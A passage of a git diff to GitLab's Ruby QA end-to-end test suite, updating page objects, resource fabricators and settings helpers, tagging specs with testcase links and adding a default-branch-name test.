diff --git a/qa/qa/page/project/operations/kubernetes/add.rb b/qa/qa/page/project/operations/kubernetes/add.rb
index 785791652ba..9a6ea99ac18 100644
--- a/qa/qa/page/project/operations/kubernetes/add.rb
+++ b/qa/qa/page/project/operations/kubernetes/add.rb
@@ -7,11 +7,11 @@ module QA
module Kubernetes
class Add < Page::Base
view 'app/views/clusters/clusters/new.html.haml' do
- element :add_existing_cluster_button, "Add existing cluster" # rubocop:disable QA/ElementWithPattern
+ element :add_existing_cluster_tab
end
def add_existing_cluster
- click_on 'Add existing cluster'
+ click_element(:add_existing_cluster_tab)
end
end
end
diff --git a/qa/qa/page/project/operations/metrics/show.rb b/qa/qa/page/project/operations/metrics/show.rb
index 22d22af5a9a..35dfd92f119 100644
--- a/qa/qa/page/project/operations/metrics/show.rb
+++ b/qa/qa/page/project/operations/metrics/show.rb
@@ -41,6 +41,11 @@ module QA
element :quick_range_item
end
+ view 'app/assets/javascripts/monitoring/components/variables_section.vue' do
+ element :variables_content
+ element :variable_item
+ end
+
def wait_for_metrics
wait_for_data
return if has_metrics?
@@ -73,6 +78,14 @@ module QA
within('.modal-content') { click_button(class: 'btn-success') }
end
+ def select_dashboard(dashboard_name)
+ click_element :dashboards_filter_dropdown
+
+ within_element :dashboards_filter_dropdown do
+ click_on dashboard_name
+ end
+ end
+
def filter_environment(environment = 'production')
click_element :environments_dropdown
@@ -97,6 +110,18 @@ module QA
end
end
+ def has_templating_variable?(variable)
+ within_element :variables_content do
+ has_element?(:variable_item, text: variable)
+ end
+ end
+
+ def has_template_metric?(metric)
+ within_element :prometheus_graphs do
+ has_text?(metric)
+ end
+ end
+
private
def wait_for_data
diff --git a/qa/qa/page/project/packages/index.rb b/qa/qa/page/project/packages/index.rb
index 3f8cc6035bc..6d55d1d04b6 100644
--- a/qa/qa/page/project/packages/index.rb
+++ b/qa/qa/page/project/packages/index.rb
@@ -5,7 +5,7 @@ module QA
module Project
module Packages
class Index < QA::Page::Base
- view 'app/views/projects/packages/packages/_legacy_package_list.html.haml' do
+ view 'app/assets/javascripts/packages/shared/components/package_list_row.vue' do
element :package_row
element :package_link
end
diff --git a/qa/qa/page/project/pipeline/show.rb b/qa/qa/page/project/pipeline/show.rb
index 43003fe1953..57ab7fb4480 100644
--- a/qa/qa/page/project/pipeline/show.rb
+++ b/qa/qa/page/project/pipeline/show.rb
@@ -21,7 +21,7 @@ module QA
end
view 'app/assets/javascripts/pipelines/components/graph/linked_pipeline.vue' do
- element :linked_pipeline_button
+ element :expand_pipeline_button
element :child_pipeline
end
@@ -69,8 +69,10 @@ module QA
click_element(:job_link, text: job_name)
end
- def click_linked_job(project_name)
- click_element(:linked_pipeline_button, text: /#{project_name}/)
+ def expand_child_pipeline
+ within_element(:child_pipeline) do
+ click_element(:expand_pipeline_button)
+ end
end
def click_on_first_job
diff --git a/qa/qa/page/project/settings/advanced.rb b/qa/qa/page/project/settings/advanced.rb
index 960d6c221b5..97519c3906c 100644
--- a/qa/qa/page/project/settings/advanced.rb
+++ b/qa/qa/page/project/settings/advanced.rb
@@ -38,20 +38,16 @@ module QA
click_element :change_path_button
end
- def select_transfer_option(namespace)
- search_and_select(namespace)
- end
-
def transfer_project!(project_name, namespace)
- # Retry added here due to seldom seen inconsistent UI state issue:
- # https://gitlab.com/gitlab-org/gitlab/-/issues/231242
- retry_on_exception do
- click_element_coordinates(:archive_project_content)
- expand_select_list
- # Workaround for a failure to search when there are no spaces around the /
- # https://gitlab.com/gitlab-org/gitlab/-/issues/218965
- select_transfer_option(namespace.gsub(/([^\s])\/([^\s])/, '\1 / \2'))
- end
+ QA::Runtime::Logger.info "Transferring project: #{project_name} to namespace: #{namespace}"
+
+ click_element_coordinates(:archive_project_content)
+
+ expand_select_list
+
+ # Workaround for a failure to search when there are no spaces around the /
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/218965
+ search_and_select(namespace.gsub(/([^\s])\/([^\s])/, '\1 / \2'))
click_element(:transfer_button)
fill_confirmation_text(project_name)
diff --git a/qa/qa/page/project/settings/main.rb b/qa/qa/page/project/settings/main.rb
index 3cd558691e1..4db66543a25 100644
--- a/qa/qa/page/project/settings/main.rb
+++ b/qa/qa/page/project/settings/main.rb
@@ -8,6 +8,7 @@ module QA
include QA::Page::Settings::Common
include Component::Select2
include SubMenus::Project
+ include Component::Breadcrumbs
view 'app/views/projects/edit.html.haml' do
element :advanced_settings
diff --git a/qa/qa/page/project/settings/merge_request.rb b/qa/qa/page/project/settings/merge_request.rb
index 0092426b31f..ec8d73df1b3 100644
--- a/qa/qa/page/project/settings/merge_request.rb
+++ b/qa/qa/page/project/settings/merge_request.rb
@@ -15,6 +15,10 @@ module QA
element :radio_button_merge_ff
end
+ view 'app/views/projects/_merge_request_merge_checks_settings.html.haml' do
+ element :allow_merge_if_all_discussions_are_resolved_checkbox
+ end
+
def click_save_changes
click_element :save_merge_request_changes
end
@@ -23,6 +27,11 @@ module QA
click_element :radio_button_merge_ff
click_save_changes
end
+
+ def enable_merge_if_all_disscussions_are_resolved
+ click_element :allow_merge_if_all_discussions_are_resolved_checkbox
+ click_save_changes
+ end
end
end
end
diff --git a/qa/qa/page/project/settings/mirroring_repositories.rb b/qa/qa/page/project/settings/mirroring_repositories.rb
index 517163a22f1..ddace6d0533 100644
--- a/qa/qa/page/project/settings/mirroring_repositories.rb
+++ b/qa/qa/page/project/settings/mirroring_repositories.rb
@@ -77,7 +77,7 @@ module QA
# The host key detection process is interrupted if we navigate away
# from the page before the fingerprint appears.
- find_element(:fingerprints_list, text: /.*/)
+ find_element(:fingerprints_list, text: /.*/, wait: 60)
end
def mirror_repository
diff --git a/qa/qa/page/project/settings/services/jira.rb b/qa/qa/page/project/settings/services/jira.rb
index 75baedb1b0f..eaa3e90db78 100644
--- a/qa/qa/page/project/settings/services/jira.rb
+++ b/qa/qa/page/project/settings/services/jira.rb
@@ -13,7 +13,7 @@ module QA
element :service_jira_issue_transition_id_field, ':data-qa-selector="`${fieldId}_field`"' # rubocop:disable QA/ElementWithPattern
end
- view 'app/helpers/services_helper.rb' do
+ view 'app/assets/javascripts/integrations/edit/components/integration_form.vue' do
element :save_changes_button
end
diff --git a/qa/qa/page/project/show.rb b/qa/qa/page/project/show.rb
index 22c2ed2a0c2..c607b35005e 100644
--- a/qa/qa/page/project/show.rb
+++ b/qa/qa/page/project/show.rb
@@ -56,7 +56,7 @@ module QA
element :new_file_option
end
- view 'app/assets/javascripts/repository/components/web_ide_link.vue' do
+ view 'app/assets/javascripts/vue_shared/components/web_ide_link.vue' do
element :web_ide_button
end
diff --git a/qa/qa/page/project/web_ide/edit.rb b/qa/qa/page/project/web_ide/edit.rb
index b962b0c673b..56c8d343cf5 100644
--- a/qa/qa/page/project/web_ide/edit.rb
+++ b/qa/qa/page/project/web_ide/edit.rb
@@ -10,6 +10,11 @@ module QA
view 'app/assets/javascripts/ide/components/activity_bar.vue' do
element :commit_mode_tab
+ element :edit_mode_tab
+ end
+
+ view 'app/assets/javascripts/ide/components/ide_status_bar.vue' do
+ element :commit_sha_content
end
view 'app/assets/javascripts/ide/components/ide_tree.vue' do
@@ -104,11 +109,19 @@ module QA
end
end
+ def commit_sha
+ return unless has_element?(:commit_sha_content, wait: 0)
+
+ find_element(:commit_sha_content).text
+ end
+
def commit_changes(open_merge_request: false)
# Clicking :begin_commit_button switches from the
# edit to the commit view
- click_element :begin_commit_button
- active_element? :commit_mode_tab
+ click_element(:begin_commit_button)
+ active_element?(:commit_mode_tab)
+
+ original_commit = commit_sha
# After clicking :begin_commit_button, there is an animation
# that hides :begin_commit_button and shows :commit_button
@@ -126,16 +139,17 @@ module QA
# Click :commit_button and keep retrying just in case part of the
# animation is still in process even when the buttons have the
# expected visibility.
- commit_success_msg_shown = retry_until(sleep_interval: 5) do
+ commit_success = retry_until(sleep_interval: 5) do
click_element(:commit_to_current_branch_radio) if has_element?(:commit_to_current_branch_radio)
click_element(:commit_button) if has_element?(:commit_button)
- wait_until(reload: false) do
- has_text?('Your changes have been committed')
+ # If this is the first commit, the commit SHA only appears after reloading
+ wait_until(reload: true) do
+ active_element?(:edit_mode_tab) && commit_sha != original_commit
end
end
- raise "The changes do not appear to have been committed successfully." unless commit_success_msg_shown
+ raise "The changes do not appear to have been committed successfully." unless commit_success
end
end
diff --git a/qa/qa/page/sub_menus/common.rb b/qa/qa/page/sub_menus/common.rb
index 0eb1b100bd7..2efeeb062e8 100644
--- a/qa/qa/page/sub_menus/common.rb
+++ b/qa/qa/page/sub_menus/common.rb
@@ -12,6 +12,8 @@ module QA
end
def within_sidebar
+ wait_for_requests
+
within_element(sidebar_element) do
yield
end
diff --git a/qa/qa/resource/api_fabricator.rb b/qa/qa/resource/api_fabricator.rb
index babdfc96265..d0cbab70983 100644
--- a/qa/qa/resource/api_fabricator.rb
+++ b/qa/qa/resource/api_fabricator.rb
@@ -18,7 +18,7 @@ module QA
attr_reader :api_resource, :api_response
attr_writer :api_client
- attr_accessor :user
+ attr_accessor :api_user
def api_support?
respond_to?(:api_get_path) &&
@@ -120,7 +120,7 @@ module QA
def api_client
@api_client ||= begin
- Runtime::API::Client.new(:gitlab, is_new_session: !current_url.start_with?('http'), user: user)
+ Runtime::API::Client.new(:gitlab, is_new_session: !current_url.start_with?('http'), user: api_user)
end
end
diff --git a/qa/qa/resource/fork.rb b/qa/qa/resource/fork.rb
index 854dd92e89c..d0aaaae6a11 100644
--- a/qa/qa/resource/fork.rb
+++ b/qa/qa/resource/fork.rb
@@ -56,6 +56,8 @@ module QA
def fabricate_via_api!
populate(:upstream, :user)
+ @api_client = Runtime::API::Client.new(:gitlab, is_new_session: false, user: user)
+
Runtime::Logger.debug("Forking project #{upstream.name} to namespace #{user.username}...")
super
wait_until_forked
@@ -73,7 +75,7 @@ module QA
def api_post_body
{
- namespace: user.username,
+ namespace_path: user.username,
name: name,
path: name
}
diff --git a/qa/qa/resource/group.rb b/qa/qa/resource/group.rb
index ed9acb6edb7..1cb33a7c71c 100644
--- a/qa/qa/resource/group.rb
+++ b/qa/qa/resource/group.rb
@@ -9,7 +9,6 @@ module QA
attribute :sandbox do
Sandbox.fabricate_via_api! do |sandbox|
- sandbox.user = user
sandbox.api_client = api_client
end
end
diff --git a/qa/qa/resource/project.rb b/qa/qa/resource/project.rb
index eba8ada50ab..0025ebb2fd5 100644
--- a/qa/qa/resource/project.rb
+++ b/qa/qa/resource/project.rb
@@ -12,7 +12,10 @@ module QA
attr_accessor :repository_storage # requires admin access
attr_writer :initialize_with_readme
attr_writer :auto_devops_enabled
+ attr_writer :github_personal_access_token
+ attr_writer :github_repository_path
+ attribute :default_branch
attribute :id
attribute :name
attribute :add_name_uuid
@@ -21,6 +24,7 @@ module QA
attribute :runners_token
attribute :visibility
attribute :template_name
+ attribute :import
attribute :group do
Group.fabricate!
@@ -56,6 +60,7 @@ module QA
@auto_devops_enabled = false
@visibility = :public
@template_name = nil
+ @import = false
self.name = "the_awesome_project"
end
@@ -65,6 +70,8 @@ module QA
end
def fabricate!
+ return if @import
+
unless @standalone
group.visit!
Page::Group::Show.perform(&:go_to_new_project)
diff --git a/qa/qa/resource/project_imported_from_github.rb b/qa/qa/resource/project_imported_from_github.rb
index e5ecaeae139..df28d63b113 100644
--- a/qa/qa/resource/project_imported_from_github.rb
+++ b/qa/qa/resource/project_imported_from_github.rb
@@ -4,28 +4,25 @@ require 'securerandom'
module QA
module Resource
- class ProjectImportedFromGithub < Base
- attr_accessor :name
- attr_writer :personal_access_token, :github_repository_path
-
- attribute :group do
- Group.fabricate!
- end
-
+ class ProjectImportedFromGithub < Resource::Project
def fabricate!
+ super
+
group.visit!
Page::Group::Show.perform(&:go_to_new_project)
-
- Page::Project::New.perform(&:click_import_project)
-
+ go_to_import_tab
Page::Project::New.perform(&:click_github_link)
Page::Project::Import::Github.perform do |import_page|
- import_page.add_personal_access_token(@personal_access_token)
+ import_page.add_personal_access_token(@github_personal_access_token)
import_page.import!(@github_repository_path, @name)
end
end
+
+ def go_to_import_tab
+ Page::Project::New.perform(&:click_import_project)
+ end
end
end
end
diff --git a/qa/qa/resource/settings/hashed_storage.rb b/qa/qa/resource/settings/hashed_storage.rb
deleted file mode 100644
index 40c06768ffe..00000000000
--- a/qa/qa/resource/settings/hashed_storage.rb
+++ /dev/null
@@ -1,26 +0,0 @@
-# frozen_string_literal: true
-
-module QA
- module Resource
- module Settings
- class HashedStorage < Base
- def fabricate!(*traits)
- raise ArgumentError unless traits.include?(:enabled)
-
- Page::Main::Login.perform(&:sign_in_using_credentials)
- Page::Main::Menu.perform(&:go_to_admin_area)
- Page::Admin::Menu.perform(&:go_to_repository_settings)
-
- Page::Admin::Settings::Repository.perform do |setting|
- setting.expand_repository_storage do |page|
- page.enable_hashed_storage
- page.save_settings
- end
- end
-
- QA::Page::Main::Menu.perform(&:sign_out)
- end
- end
- end
- end
-end
diff --git a/qa/qa/resource/user.rb b/qa/qa/resource/user.rb
index 462da743318..9768fc154a7 100644
--- a/qa/qa/resource/user.rb
+++ b/qa/qa/resource/user.rb
@@ -148,7 +148,7 @@ module QA
end
def fetching_own_data?
- user&.username == username || Runtime::User.username == username
+ api_user&.username == username || Runtime::User.username == username
end
end
end
diff --git a/qa/qa/runtime/application_settings.rb b/qa/qa/runtime/application_settings.rb
index df6323f9a48..c78f4258721 100644
--- a/qa/qa/runtime/application_settings.rb
+++ b/qa/qa/runtime/application_settings.rb
@@ -2,43 +2,39 @@
module QA
module Runtime
- module ApplicationSettings
- extend self
- extend Support::Api
-
- APPLICATION_SETTINGS_PATH = '/application/settings'
-
- # Set a GitLab application setting
- # Example:
- # #set({ allow_local_requests_from_web_hooks_and_services: true })
- # #set(allow_local_requests_from_web_hooks_and_services: true)
- # https://docs.gitlab.com/ee/api/settings.html
- def set_application_settings(**application_settings)
- QA::Runtime::Logger.info("Setting application settings: #{application_settings}")
- r = put(Runtime::API::Request.new(api_client, APPLICATION_SETTINGS_PATH).url, **application_settings)
- raise "Couldn't set application settings #{application_settings.inspect}" unless r.code == QA::Support::Api::HTTP_STATUS_OK
- end
-
- def get_application_settings
- parse_body(get(Runtime::API::Request.new(api_client, APPLICATION_SETTINGS_PATH).url))
- end
-
- private
+ class ApplicationSettings
+ class << self
+ include Support::Api
+
+ APPLICATION_SETTINGS_PATH = '/application/settings'
+
+ # Set a GitLab application setting
+ # Example:
+ # #set({ allow_local_requests_from_web_hooks_and_services: true })
+ # #set(allow_local_requests_from_web_hooks_and_services: true)
+ # https://docs.gitlab.com/ee/api/settings.html
+ def set_application_settings(**application_settings)
+ @original_application_settings = get_application_settings
+
+ QA::Runtime::Logger.info("Setting application settings: #{application_settings}")
+ r = put(Runtime::API::Request.new(api_client, APPLICATION_SETTINGS_PATH).url, **application_settings)
+ raise "Couldn't set application settings #{application_settings.inspect}" unless r.code == QA::Support::Api::HTTP_STATUS_OK
+ end
- def api_client
- @api_client ||= begin
- return Runtime::API::Client.new(:gitlab, personal_access_token: Runtime::Env.admin_personal_access_token) if Runtime::Env.admin_personal_access_token
+ def get_application_settings
+ parse_body(get(Runtime::API::Request.new(api_client, APPLICATION_SETTINGS_PATH).url))
+ end
- user = Resource::User.fabricate_via_api! do |user|
- user.username = Runtime::User.admin_username
- user.password = Runtime::User.admin_password
- end
+ def restore_application_settings(*application_settings_keys)
+ set_application_settings(@original_application_settings.slice(*application_settings_keys))
+ end
- unless user.admin?
- raise "Administrator access is required to set application settings. User '#{user.username}' is not an administrator."
- end
+ private
- Runtime::API::Client.new(:gitlab, user: user)
+ def api_client
+ @api_client ||= Runtime::API::Client.as_admin
+ rescue AuthorizationError => e
+ raise "Administrator access is required to set application settings. #{e.message}"
end
end
end
diff --git a/qa/qa/runtime/browser.rb b/qa/qa/runtime/browser.rb
index adb496e9ef0..2bd0c6ae00e 100644
--- a/qa/qa/runtime/browser.rb
+++ b/qa/qa/runtime/browser.rb
@@ -133,7 +133,7 @@ module QA
Capybara::Screenshot.append_timestamp = false
Capybara::Screenshot.register_filename_prefix_formatter(:rspec) do |example|
- ::File.join(QA::Runtime::Namespace.name, example.full_description.downcase.parameterize(separator: "_")[0..99])
+ ::File.join(QA::Runtime::Namespace.name(reset_cache: false), example.full_description.downcase.parameterize(separator: "_")[0..99])
end
Capybara.configure do |config|
diff --git a/qa/qa/runtime/env.rb b/qa/qa/runtime/env.rb
index cbfce95d409..c254be4800b 100644
--- a/qa/qa/runtime/env.rb
+++ b/qa/qa/runtime/env.rb
@@ -268,6 +268,10 @@ module QA
ENV['JIRA_HOSTNAME']
end
+ def cache_namespace_name?
+ enabled?(ENV['CACHE_NAMESPACE_NAME'], default: true)
+ end
+
def knapsack?
!!(ENV['KNAPSACK_GENERATE_REPORT'] || ENV['KNAPSACK_REPORT_PATH'] || ENV['KNAPSACK_TEST_FILE_PATTERN'])
end
@@ -364,6 +368,15 @@ module QA
ENV['MAILHOG_HOSTNAME']
end
+ # Get the version of GitLab currently being tested against
+ # @return String Version
+ # @example
+ # > Env.deploy_version
+ # #=> 13.3.4-ee.0
+ def deploy_version
+ ENV['DEPLOY_VERSION']
+ end
+
private
def remote_grid_credentials
diff --git a/qa/qa/runtime/namespace.rb b/qa/qa/runtime/namespace.rb
index 565bfd43f12..6b4cbe6af6e 100644
--- a/qa/qa/runtime/namespace.rb
+++ b/qa/qa/runtime/namespace.rb
@@ -9,14 +9,19 @@ module QA
@time ||= Time.now
end
- def name
+ def name(reset_cache: !Runtime::Env.cache_namespace_name?)
# If any changes are made to the name tag, following script has to be considered:
# https://ops.gitlab.net/gitlab-com/gl-infra/traffic-generator/blob/master/bin/janitor.bash
- @name ||= Runtime::Env.namespace_name || "qa-test-#{time.strftime('%Y-%m-%d-%H-%M-%S')}-#{SecureRandom.hex(8)}"
+ reset_name_cache if reset_cache
+ @name ||= Runtime::Env.namespace_name || "qa-test-#{time.strftime('%Y-%m-%d-%H-%M-%S')}-#{SecureRandom.hex(8)}" # rubocop:disable Gitlab/ModuleWithInstanceVariables
+ end
+
+ def reset_name_cache
+ @name = nil # rubocop:disable Gitlab/ModuleWithInstanceVariables
end
def path
- "#{sandbox_name}/#{name}"
+ "#{sandbox_name}/#{name(reset_cache: false)}"
end
def sandbox_name
diff --git a/qa/qa/service/praefect_manager.rb b/qa/qa/service/praefect_manager.rb
index 1f1761100c8..fb2019394b4 100644
--- a/qa/qa/service/praefect_manager.rb
+++ b/qa/qa/service/praefect_manager.rb
@@ -376,7 +376,11 @@ module QA
wait_until_shell_command("docker exec #{@gitlab} bash -c 'tail -n 50 /var/log/gitlab/gitaly/current'") do |line|
log = JSON.parse(line)
- break log['grpc.request.repoPath'] if log['grpc.method'] == 'RenameRepository' && log['grpc.request.repoStorage'] == storage && !log['grpc.request.repoPath'].include?('wiki')
+ if (log['grpc.method'] == 'RenameRepository' || log['grpc.method'] == 'RemoveRepository') &&
+ log['grpc.request.repoStorage'] == storage &&
+ !log['grpc.request.repoPath'].include?('wiki')
+ break log['grpc.request.repoPath']
+ end
rescue JSON::ParserError
# Ignore lines that can't be parsed as JSON
end
diff --git a/qa/qa/specs/features/api/1_manage/rate_limits_spec.rb b/qa/qa/specs/features/api/1_manage/rate_limits_spec.rb
index d836bdde9d5..ae1c3a9fbcc 100644
--- a/qa/qa/specs/features/api/1_manage/rate_limits_spec.rb
+++ b/qa/qa/specs/features/api/1_manage/rate_limits_spec.rb
@@ -3,12 +3,12 @@
require 'airborne'
module QA
- RSpec.describe 'Manage with IP rate limits', :requires_admin do
+ RSpec.describe 'Manage with IP rate limits', :requires_admin, :skip_live_env do
describe 'Users API' do
let(:api_client) { Runtime::API::Client.new(:gitlab, ip_limits: true) }
let(:request) { Runtime::API::Request.new(api_client, '/users') }
- it 'GET /users' do
+ it 'GET /users', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/441' do
5.times do
get request.url
expect_status(200)
diff --git a/qa/qa/specs/features/api/1_manage/users_spec.rb b/qa/qa/specs/features/api/1_manage/users_spec.rb
index 0bd52cbdaa4..bca0e1f67e8 100644
--- a/qa/qa/specs/features/api/1_manage/users_spec.rb
+++ b/qa/qa/specs/features/api/1_manage/users_spec.rb
@@ -8,13 +8,13 @@ module QA
let(:api_client) { Runtime::API::Client.new(:gitlab) }
let(:request) { Runtime::API::Request.new(api_client, '/users') }
- it 'GET /users' do
+ it 'GET /users', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/460' do
get request.url
expect_status(200)
end
- it 'GET /users/:username with a valid username' do
+ it 'GET /users/:username with a valid username', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/480' do
get request.url, { params: { username: Runtime::User.username } }
expect_status(200)
@@ -23,7 +23,7 @@ module QA
)
end
- it 'GET /users/:username with an invalid username' do
+ it 'GET /users/:username with an invalid username', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/462' do
get request.url, { params: { username: SecureRandom.hex(10) } }
expect_status(200)
diff --git a/qa/qa/specs/features/api/2_plan/closes_issue_via_pushing_a_commit_spec.rb b/qa/qa/specs/features/api/2_plan/closes_issue_via_pushing_a_commit_spec.rb
index d72389f1d9d..8b8c9b4c8b1 100644
--- a/qa/qa/specs/features/api/2_plan/closes_issue_via_pushing_a_commit_spec.rb
+++ b/qa/qa/specs/features/api/2_plan/closes_issue_via_pushing_a_commit_spec.rb
@@ -22,7 +22,7 @@ module QA
push_commit('Initial commit')
end
- it 'closes via pushing a commit' do
+ it 'closes via pushing a commit', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/423' do
push_commit("Closes ##{issue_id}", false)
Support::Retrier.retry_until(max_duration: 10, sleep_interval: 1) do
diff --git a/qa/qa/specs/features/api/3_create/gitaly/automatic_failover_and_recovery_spec.rb b/qa/qa/specs/features/api/3_create/gitaly/automatic_failover_and_recovery_spec.rb
index 064f5280625..aa06947e93b 100644
--- a/qa/qa/specs/features/api/3_create/gitaly/automatic_failover_and_recovery_spec.rb
+++ b/qa/qa/specs/features/api/3_create/gitaly/automatic_failover_and_recovery_spec.rb
@@ -28,7 +28,7 @@ module QA
praefect_manager.reset_primary_to_original
end
- it 'automatically fails over' do
+ it 'automatically fails over', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/976' do
# Create a new project with a commit and wait for it to replicate
Resource::Repository::ProjectPush.fabricate! do |push|
push.project = project
@@ -66,7 +66,7 @@ module QA
end
context 'when recovering from dataloss after failover' do
- it 'allows reconciliation', quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/238187', type: :stale } do
+ it 'allows reconciliation', quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/238187', type: :stale }, testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/977' do
# Start the old primary node again
praefect_manager.start_primary_node
praefect_manager.wait_for_health_check_current_primary_node
diff --git a/qa/qa/specs/features/api/3_create/gitaly/backend_node_recovery_spec.rb b/qa/qa/specs/features/api/3_create/gitaly/backend_node_recovery_spec.rb
index 52674f08e15..4515e76539b 100644
--- a/qa/qa/specs/features/api/3_create/gitaly/backend_node_recovery_spec.rb
+++ b/qa/qa/specs/features/api/3_create/gitaly/backend_node_recovery_spec.rb
@@ -22,7 +22,7 @@ module QA
praefect_manager.reset_primary_to_original
end
- it 'recovers from dataloss', quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/238186', type: :investigating } do
+ it 'recovers from dataloss', quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/238186', type: :investigating }, testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/978' do
# Create a new project with a commit and wait for it to replicate
praefect_manager.wait_for_replication(project.id)
diff --git a/qa/qa/specs/features/api/3_create/gitaly/changing_repository_storage_spec.rb b/qa/qa/specs/features/api/3_create/gitaly/changing_repository_storage_spec.rb
index 432598d1cb3..758ba582929 100644
--- a/qa/qa/specs/features/api/3_create/gitaly/changing_repository_storage_spec.rb
+++ b/qa/qa/specs/features/api/3_create/gitaly/changing_repository_storage_spec.rb
@@ -2,7 +2,7 @@
module QA
RSpec.describe 'Create' do
- describe 'Changing Gitaly repository storage', :requires_admin, quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/236195', type: :investigating } do
+ describe 'Changing Gitaly repository storage', :requires_admin do
praefect_manager = Service::PraefectManager.new
praefect_manager.gitlab = 'gitlab'
@@ -25,7 +25,7 @@ module QA
end
end
- context 'when moving from one Gitaly storage to another', :orchestrated, :repository_storage do
+ context 'when moving from one Gitaly storage to another', :orchestrated, :repository_storage, testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/973' do
let(:source_storage) { { type: :gitaly, name: 'default' } }
let(:destination_storage) { { type: :gitaly, name: QA::Runtime::Env.additional_repository_storage } }
@@ -43,7 +43,7 @@ module QA
# Note: This test doesn't have the :orchestrated tag because it runs in the Test::Integration::Praefect
# scenario with other tests that aren't considered orchestrated.
# It also runs on staging using nfs-file07 as non-cluster storage and nfs-file22 as cluster/praefect storage
- context 'when moving from Gitaly to Gitaly Cluster', :requires_praefect do
+ context 'when moving from Gitaly to Gitaly Cluster', :requires_praefect, testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/974' do
let(:source_storage) { { type: :gitaly, name: QA::Runtime::Env.non_cluster_repository_storage } }
let(:destination_storage) { { type: :praefect, name: QA::Runtime::Env.praefect_repository_storage } }
diff --git a/qa/qa/specs/features/api/3_create/gitaly/distributed_reads_spec.rb b/qa/qa/specs/features/api/3_create/gitaly/distributed_reads_spec.rb
index 6292ca821ca..29f131ac322 100644
--- a/qa/qa/specs/features/api/3_create/gitaly/distributed_reads_spec.rb
+++ b/qa/qa/specs/features/api/3_create/gitaly/distributed_reads_spec.rb
@@ -25,7 +25,7 @@ module QA
Runtime::Feature.disable_and_verify('gitaly_distributed_reads')
end
- it 'reads from each node' do
+ it 'reads from each node', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/979' do
pre_read_data = praefect_manager.query_read_distribution
wait_for_reads_to_increase(project, number_of_reads_per_loop, pre_read_data)
@@ -53,7 +53,7 @@ module QA
praefect_manager.wait_for_reliable_connection
end
- it 'does not read from the unhealthy node' do
+ it 'does not read from the unhealthy node', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/980' do
pre_read_data = praefect_manager.query_read_distribution
read_from_project(project, number_of_reads_per_loop * 10)
diff --git a/qa/qa/specs/features/api/3_create/gitaly/praefect_replication_queue_spec.rb b/qa/qa/specs/features/api/3_create/gitaly/praefect_replication_queue_spec.rb
index 78c8639a029..7e924475437 100644
--- a/qa/qa/specs/features/api/3_create/gitaly/praefect_replication_queue_spec.rb
+++ b/qa/qa/specs/features/api/3_create/gitaly/praefect_replication_queue_spec.rb
@@ -19,7 +19,7 @@ module QA
praefect_manager.clear_replication_queue
end
- it 'allows replication of different repository after interruption' do
+ it 'allows replication of different repository after interruption', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/975' do
# We want to fill the replication queue with 10 `in_progress` jobs,
# while a lock has been acquired, which is when the problem occurred
# as reported in https://gitlab.com/gitlab-org/gitaly/-/issues/2801
diff --git a/qa/qa/specs/features/api/3_create/repository/default_branch_name_setting_spec.rb b/qa/qa/specs/features/api/3_create/repository/default_branch_name_setting_spec.rb
new file mode 100644
index 00000000000..af155b22618
--- /dev/null
+++ b/qa/qa/specs/features/api/3_create/repository/default_branch_name_setting_spec.rb
@@ -0,0 +1,62 @@
+# frozen_string_literal: true
+
+require 'securerandom'
+
+module QA
+ RSpec.describe 'Create' do
+ describe 'Default branch name instance setting', :requires_admin, :skip_live_env do
+ before(:context) do
+ Runtime::ApplicationSettings.set_application_settings(default_branch_name: 'main')
+ end
+
+ after(:context) do
+ Runtime::ApplicationSettings.restore_application_settings(:default_branch_name)
+ end
+
+ it 'sets the default branch name for a new project' do
+ project = Resource::Project.fabricate_via_api! do |project|
+ project.name = "default-branch-name"
+ project.initialize_with_readme = true
+ end
+
+ # It takes a moment to create the project. We wait until we
+ # know it exists before we try to clone it
+ Support::Waiter.wait_until { project.has_file?('README.md') }
+
+ Git::Repository.perform do |repository|
+ repository.uri = project.repository_http_location.uri
+ repository.use_default_credentials
+ repository.clone
+
+ expect(repository.current_branch).to eq('main')
+ end
+ end
+
+ it 'allows a project to be created via the CLI with a different default branch name' do
+ project_name = "default-branch-name-via-cli-#{SecureRandom.hex(8)}"
+ group = Resource::Group.fabricate_via_api!
+
+ Git::Repository.perform do |repository|
+ repository.init_repository
+ repository.uri = "#{Runtime::Scenario.gitlab_address}/#{group.full_path}/#{project_name}"
+ repository.use_default_credentials
+ repository.configure_identity('GitLab QA', 'root@gitlab.com')
+ repository.checkout('trunk', new_branch: true)
+ repository.commit_file('README.md', 'Created via the CLI', 'initial commit via CLI')
+ repository.push_changes('trunk')
+ end
+
+ project = Resource::Project.fabricate_via_api! do |project|
+ project.add_name_uuid = false
+ project.name = project_name
+ project.group = group
+ end
+
+ expect(project.default_branch).to eq('trunk')
+ expect(project).to have_file('README.md')
+ expect(project.commits.map { |commit| commit[:message].chomp })
+ .to include('initial commit via CLI')
+ end
+ end
+ end
+end
diff --git a/qa/qa/specs/features/api/3_create/repository/files_spec.rb b/qa/qa/specs/features/api/3_create/repository/files_spec.rb
index 1a74b2c9da7..f539aae9b29 100644
--- a/qa/qa/specs/features/api/3_create/repository/files_spec.rb
+++ b/qa/qa/specs/features/api/3_create/repository/files_spec.rb
@@ -12,7 +12,7 @@ module QA
let(:project_name) { "api-basics-#{SecureRandom.hex(8)}" }
let(:sanitized_project_path) { CGI.escape("#{Runtime::User.username}/#{project_name}") }
- it 'user creates a project with a file and deletes them afterwards' do
